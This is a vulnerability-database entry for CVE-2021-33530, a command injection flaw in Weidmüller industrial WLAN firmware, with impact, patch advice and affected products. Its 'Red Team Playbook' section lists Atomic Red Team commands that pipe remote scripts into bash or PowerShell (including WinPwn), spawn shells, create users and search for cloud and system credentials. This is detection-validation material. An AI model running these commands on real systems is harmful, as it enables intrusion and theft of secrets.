CVE-2021-33530
Overview
This vulnerability is a command injection flaw rooted in the encrypted diagnostic script processing functionality of Weidmüller Industrial WLAN devices. The flaw arises from insufficient input validation in the diagnostic script interpreter, allowing injection of arbitrary commands. The affected component is the diagnostic script execution feature embedded within multiple firmware versions of the IE-WL(T)-BL-AP-CL-XX product line.
Vulnerability Description
In Weidmueller Industrial WLAN devices in multiple versions an exploitable command injection vulnerability exists in encrypted diagnostic script functionality of the devices. A specially crafted diagnostic script file can cause arbitrary busybox commands to be executed, resulting in remote control over the device. An attacker can send diagnostic while authenticated as a low privilege user to trigger this vulnerability.
Impact
An attacker with low privilege authenticated access can execute arbitrary busybox commands remotely, effectively gaining control over the device. This enables unauthorized manipulation or disruption of device operation, potentially compromising network infrastructure relying on these WLAN devices. The vulnerability requires network access and low privilege credentials (CVSS vector PR:L), with no user interaction needed (UI:N), and can result in full confidentiality, integrity, and availability compromise (C:H/I:H/A:H).
Solution
Weidmüller has addressed this issue in firmware updates for affected IE-WL(T)-BL-AP-CL-XX devices as detailed in advisory VDE-2021-026. Users should apply the latest firmware versions corresponding to their device's region and model as specified in the advisory. The vendor recommends following the patching instructions provided at https://cert.vde.com/en-us/advisories/vde-2021-026 to mitigate the command injection vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A command injection vulnerability has been identified in certain models of Weidmueller Industrial WLAN devices, specifically within their encrypted diagnostic script functionality. This flaw allows an attacker to execute arbitrary commands on the device by crafting a malicious diagnostic script file. The vulnerability arises from improper validation of user input, which enables a low-privileged authenticated user to send commands that the device will execute without adequate checks. The presence of busybox, a suite of Unix utilities, increases the potential impact, as it provides a wide range of command-line tools that can be exploited to gain control over the device.
The exploitation of this vulnerability can occur through various attack vectors. An attacker, once authenticated as a low-privileged user, can upload a specially crafted diagnostic script to the device. This could be achieved through social engineering tactics or by exploiting weak password policies to gain initial access. Once the script is executed, the attacker can leverage the busybox commands to manipulate the device, potentially leading to unauthorized access to sensitive data, disruption of services, or even lateral movement within the network. The ability to execute arbitrary commands significantly amplifies the risk, as it could allow attackers to install malware, create backdoors, or exfiltrate data.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Weidmueller Industrial WLAN devices for critical operations. The exploitation of this flaw could lead to significant business risks, including operational downtime, loss of sensitive information, and damage to the organization's reputation. For industries such as manufacturing, energy, and transportation, where these devices are commonly deployed, the consequences of a successful attack could extend beyond financial losses to include safety hazards and regulatory penalties. The potential for attackers to disrupt industrial processes or gain access to proprietary information poses a serious threat to business continuity.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the firmware of affected devices is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have the ability to upload diagnostic scripts. Implementing network segmentation can also help limit the potential impact of an exploit by isolating critical systems from less secure segments. Intrusion detection systems (IDS) should be employed to monitor for unusual activity related to command execution, providing alerts for any suspicious behavior that could indicate an attempted exploitation.
In conclusion, the command injection vulnerability in Weidmueller Industrial WLAN devices represents a serious security risk that requires immediate attention. The ability for low-privileged users to execute arbitrary commands can have devastating effects on an organization’s operations and security posture. By adopting proactive detection and mitigation strategies, organizations can reduce their exposure to this vulnerability and safeguard their critical infrastructure from potential attacks. Continuous monitoring, timely updates, and robust access controls are essential components of a comprehensive security strategy in the face of such threats.
Affected Products (16)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Weidmueller | Ie-Wl-Bl-Ap-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-bl-ap-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Bl-Ap-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-bl-ap-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Bl-Ap-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-bl-ap-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Bl-Ap-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-bl-ap-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Vl-Ap-Br-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-vl-ap-br-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Vl-Ap-Br-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-vl-ap-br-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Vl-Ap-Br-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-vl-ap-br-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Vl-Ap-Br-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-vl-ap-br-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Bl-Ap-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-bl-ap-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Bl-Ap-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-bl-ap-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Bl-Ap-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-bl-ap-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Bl-Ap-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-bl-ap-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Vl-Ap-Br-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-vl-ap-br-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Vl-Ap-Br-Cl-Eu Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-vl-ap-br-cl-eu_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wl-Vl-Ap-Br-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wl-vl-ap-br-cl-us_firmware:*:*:*:*:*:*:*:*
|
|
|
Weidmueller | Ie-Wlt-Vl-Ap-Br-Cl-Us Firmware | All |
cpe:2.3:o:weidmueller:ie-wlt-vl-ap-br-cl-us_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-33530 |
| cert.vde.com |
GitHub CVE
x_refsource_CONFIRM
|
https://cert.vde.com/en-us/advisories/vde-2021-026 |